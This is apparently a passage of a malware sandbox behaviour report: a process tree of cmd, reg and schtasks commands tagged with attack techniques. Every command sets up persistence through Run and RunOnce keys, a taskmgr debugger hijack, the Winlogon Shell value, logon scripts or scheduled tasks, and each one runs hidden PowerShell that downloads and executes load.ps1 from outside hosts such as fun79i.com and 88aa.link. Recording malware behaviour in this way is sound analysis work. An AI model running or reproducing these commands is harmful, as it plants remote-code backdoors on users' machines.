                                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /sc minute /mo 5 /f
                                                          2⤵
                                                          • Executes a command shell one-liner
                                                          PID:4016
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /sc minute /mo 5 /f
                                                            3⤵
                                                            • System Location Discovery: System Language Discovery
                                                            • Scheduled Task/Job: Scheduled Task
                                                            PID:5516
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /f
                                                          2⤵
                                                          • Executes a command shell one-liner
                                                          • System Location Discovery: System Language Discovery
                                                          PID:1520
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /f
                                                            3⤵
                                                            • Adds Run key to start application
                                                            PID:5440
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /f
                                                          2⤵
                                                            PID:4084
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /f
                                                              3⤵
                                                              • Adds Run key to start application
                                                              PID:5564
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /f
                                                            2⤵
                                                              PID:5160
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /f
                                                                3⤵
                                                                • Event Triggered Execution: Image File Execution Options Injection
                                                                PID:5652
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /f
                                                              2⤵
                                                                PID:5232
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /f
                                                                  3⤵
                                                                  • Modifies WinLogon for persistence
                                                                  PID:5692
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /f
                                                                2⤵
                                                                • Executes a command shell one-liner
                                                                PID:5308
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /f
                                                                  3⤵
                                                                  • Registers new Windows logon scripts automatically executed at logon.
                                                                  PID:5660
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /sc onlogon /f
                                                                2⤵
                                                                  PID:5368
                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /sc onlogon /f
                                                                    3⤵
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:5744
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /sc minute /mo 5 /f
                                                                  2⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:5448
                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /sc minute /mo 5 /f
                                                                    3⤵
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:5712
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /f
                                                                  2⤵
                                                                    PID:5440
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /f
                                                                      3⤵
                                                                      • Adds Run key to start application
                                                                      PID:5716
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /f
                                                                    2⤵
                                                                      PID:1152
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /f
                                                                        3⤵
                                                                        • Adds Run key to start application
                                                                        PID:5856
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /f
                                                                      2⤵
                                                                        PID:5496
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /f
                                                                          3⤵
                                                                          • Adds Run key to start application
                                                                          PID:5436
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /f
                                                                        2⤵
                                                                        • Executes a command shell one-liner
                                                                        PID:5564
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /f
                                                                          3⤵
                                                                          • Event Triggered Execution: Image File Execution Options Injection
                                                                          PID:6128
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /f
                                                                        2⤵
                                                                        • Executes a command shell one-liner
                                                                        PID:5520
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /f
                                                                          3⤵
                                                                          • Adds Run key to start application
                                                                          PID:5948
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /f
                                                                        2⤵
                                                                          PID:5696
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /f
                                                                            3⤵
                                                                            • Modifies WinLogon for persistence
                                                                            PID:5936
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /f
                                                                          2⤵
                                                                          • Executes a command shell one-liner
                                                                          PID:5740
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /f
                                                                            3⤵
                                                                            • Event Triggered Execution: Image File Execution Options Injection
                                                                            PID:5124
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /f
                                                                          2⤵
                                                                            PID:5148
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /f
                                                                              3⤵
                                                                              • Registers new Windows logon scripts automatically executed at logon.
                                                                              PID:5820
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /f
                                                                            2⤵
                                                                              PID:5360
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /f
                                                                                3⤵
                                                                                • Modifies WinLogon for persistence
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:6048
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /sc onlogon /f
                                                                              2⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:5384
                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /sc onlogon /f
                                                                                3⤵
                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                PID:5988
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /f
                                                                              2⤵
                                                                                PID:5748
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /f
                                                                                  3⤵
                                                                                  • Registers new Windows logon scripts automatically executed at logon.
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:5788
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /sc minute /mo 5 /f
                                                                                2⤵
                                                                                  PID:5492
                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /sc minute /mo 5 /f
                                                                                    3⤵
                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                    PID:3448
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /sc onlogon /f
                                                                                  2⤵
                                                                                    PID:5460
                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                      schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /sc onlogon /f
                                                                                      3⤵
                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                      PID:5280
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /sc minute /mo 5 /f
                                                                                    2⤵
                                                                                      PID:5904
                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /sc minute /mo 5 /f
                                                                                        3⤵
                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                        PID:5188
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /f
                                                                                      2⤵
                                                                                        PID:5212
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /f
                                                                                          3⤵
                                                                                          • Adds Run key to start application
                                                                                          PID:5292
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /f
                                                                                        2⤵
                                                                                        • Executes a command shell one-liner
                                                                                        PID:5468
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /f
                                                                                          3⤵
                                                                                          • Adds Run key to start application
                                                                                          PID:5416
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /f
                                                                                        2⤵
                                                                                          PID:3556
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /f
                                                                                            3⤵
                                                                                            • Event Triggered Execution: Image File Execution Options Injection
                                                                                            PID:4656
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /f
                                                                                          2⤵
                                                                                            PID:5436
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /f
                                                                                              3⤵
                                                                                              • Modifies WinLogon for persistence
                                                                                              PID:5948
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /f
                                                                                            2⤵
                                                                                            • Executes a command shell one-liner
                                                                                            PID:4312
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /f
                                                                                              3⤵
                                                                                              • Registers new Windows logon scripts automatically executed at logon.
                                                                                              PID:5600
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /sc onlogon /f
                                                                                            2⤵
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:5672
                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                              schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /sc onlogon /f
                                                                                              3⤵
                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                              PID:184
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /sc minute /mo 5 /f
                                                                                            2⤵
                                                                                              PID:4564
                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                3⤵
                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                PID:5868
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /f
                                                                                              2⤵
                                                                                                PID:6008
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /f
                                                                                                  3⤵
                                                                                                  • Adds Run key to start application
                                                                                                  PID:2044
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /f
                                                                                                2⤵
                                                                                                  PID:5560
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /f
                                                                                                    3⤵
                                                                                                    • Adds Run key to start application
                                                                                                    PID:3564
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /f
                                                                                                  2⤵
                                                                                                  • Executes a command shell one-liner
                                                                                                  PID:1940
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /f
                                                                                                    3⤵
                                                                                                    • Event Triggered Execution: Image File Execution Options Injection
                                                                                                    PID:5652
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /f
                                                                                                  2⤵
                                                                                                  • Executes a command shell one-liner
                                                                                                  PID:5512
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /f
                                                                                                    3⤵
                                                                                                    • Modifies WinLogon for persistence
                                                                                                    PID:4168
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /f
                                                                                                  2⤵
                                                                                                  • Executes a command shell one-liner
                                                                                                  PID:5328
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /f
                                                                                                    3⤵
                                                                                                    • Registers new Windows logon scripts automatically executed at logon.
                                                                                                    PID:4416
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /sc onlogon /f
                                                                                                  2⤵
                                                                                                  • Executes a command shell one-liner
                                                                                                  PID:5716
                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                    3⤵
                                                                                                      PID:5856
                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                      schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /sc onlogon /f
                                                                                                      3⤵
                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                      PID:5636
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
